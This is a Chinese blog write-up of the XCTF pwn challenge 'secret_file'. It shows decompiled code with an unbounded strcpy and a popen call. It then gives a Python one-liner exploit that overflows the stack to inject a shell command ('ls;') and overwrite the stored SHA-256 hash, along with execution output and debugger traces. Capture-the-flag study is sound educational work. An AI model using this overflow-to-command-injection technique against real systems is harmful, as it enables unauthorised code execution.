xctf secret_file

原创

doudoudedi 于 2019-10-02 23:41:38 发布 249 收藏

分类专栏： 题目 xctf 文章标签： xctf pwn

本文链接：https://blog.csdn.net/qq_37433000/article/details/101947576

题目 同时被 2 个专栏收录

83 篇文章 2 订阅

订阅专栏

xctf

5 篇文章 0 订阅

订阅专栏

最近事情有点多我又做不来真是的唉

做到后面有种无力感

~~

main函数

```
if ( getline(&lineptr, (size_t *)&v11, stdin) == -1 )// 这里输入空然后就会分配巨大的空间
  return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
  return 1;
*v3 = 0;
v4 = (unsigned __int8 *)&v16;
v5 = &v17;
strcpy(&dest, lineptr);
sub_DD0((__int64)&dest, &v16, 0x100u);
do
{
  v6 = *v4;
  v7 = (char *)v5;
  v5 = (int *)((char *)v5 + 2);
  ++v4;
  snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != &v18 );
v8 = strcmp(v15, (const char *)&v17);
if ( v8 )
{
  puts("wrong password!");
  return 1;
}
v9 = popen((const char *)&v14, "r");
if ( !v9 )
  return 1;
while ( fgets(&s, 256, v9) )
  printf("%s", &s);
```


简而言之就是你输入一串数字sha256与系统的匹配正确也不会怎么样

我虽然我会sha256但是我会栈溢出阿!!!

```
:0000000000000BB9 ; 39:     ++v4;
:0000000000000BB9                   add     rbp, 1
:0000000000000BBD                   call    _snprintf
:0000000000000BC2 ; 42:   while ( v5 != &v18 );
```

```
:0000000000000BC2                 cmp     rbx, r12
:0000000000000BC5                 jnz     short loc_BA0
:0000000000000BC7 ; 43:   v8 = strcmp(v15, (const char *)&v17);
:0000000000000BC7                 lea     rsi, [r13+17Ch] ; s2
:0000000000000BCE                 lea     rdi, [r13+11Bh] ; s1
:0000000000000BD5                 call    _strcmp
:0000000000000BDA                 mov     r12d, eax
:0000000000000BDD ; 44:   if ( v8 )
:0000000000000BDD                 test    eax, eax
:0000000000000BDF                 jnz     short loc_C40
:0000000000000BE1 ; 49:   v9 = popen((const char *)&v14, "r");
:0000000000000BE1                 lea     rdi, [r13+100h] ; command
:0000000000000BE8                 lea     rsi, modes      ; "r"
:0000000000000BEF                 call    _popen
:0000000000000BF4                 mov     rbp, rax
```


关键在这里我们将前面的都覆盖然后将加上我们调试而知的正确sha256然后就是命令执行了，清楚的看见参数是在11b的位置

```
wrong password!
binbin@ubuntu:~/pwn/xctf$ python -c 'print "A"*0x100+"ls;".ljust(0x1B,"B")+"e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb"'
| ./scret
babyheap
core
ctflibc.so.6
fmt
fmt2.py
peda-session-babyheap.txt
peda-session-ReeHY.txt
ReeHY
RHY.py
screct.py
scret
timefromt
time.py
sh: 1: BBBBBBBBBBBBBBBBBBBBBBBBe075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb: not found
binbin@ubuntu:~/pwn/xctf$
```



```
ython -c 'print "A"*0x100+"ls;".ljust(0x1B,"B")+"e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bb
b"' | ./scret
```

```
untu: ~/pwn/xctf
15  0x0
BP  0x7fffffffdcec ◂— 'e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb'
SP  0x7fffffffdb60 ◂— 0x121
IP  0x555555554bd5 ◂— call   0x555555554a80
[ DISASM ]
  0x555555554bc7    lea    rsi, [r13 + 0x17c]
  0x555555554bce    lea    rdi, [r13 + 0x11b]
► 0x555555554bd5    call   strcmp@plt <0x555555554a80>
      s1: 0x7fffffffdc8b ◂— 0x6530300074736574 /* 'test' */
      s2: 0x7fffffffdcec ◂— 'e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb'

  0x555555554bda    mov    r12d, eax
  0x555555554bdd    test   eax, eax
  0x555555554bdf    jne    0x555555554c40

  0x555555554be1    lea    rdi, [r13 + 0x100]
  0x555555554be8    lea    rsi, [rip + 0x43d]
  0x555555554bef    call   popen@plt <0x555555554ab0>

  0x555555554bf4    mov    rbp, rax
  0x555555554bf7    test   rax, rax
[ STACK ]
:0360|   0x7fffffffdec0 ◂— 0xf120ed1b8f016e93
:0368|   0x7fffffffdec8 ◂— 0xf120fc593c316e93
:0370|   0x7fffffffded0 ◂— 0x0
. ↓
:0388|   0x7fffffffdee8 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe2cc ◂— 'XDG_VTNR=7'
```


在0x100+0x1B的位置我们覆盖了我们的输入的sha256成了test
注意这里比配的值也是和我们输入的值有关所以是根据你调试的结果有关
的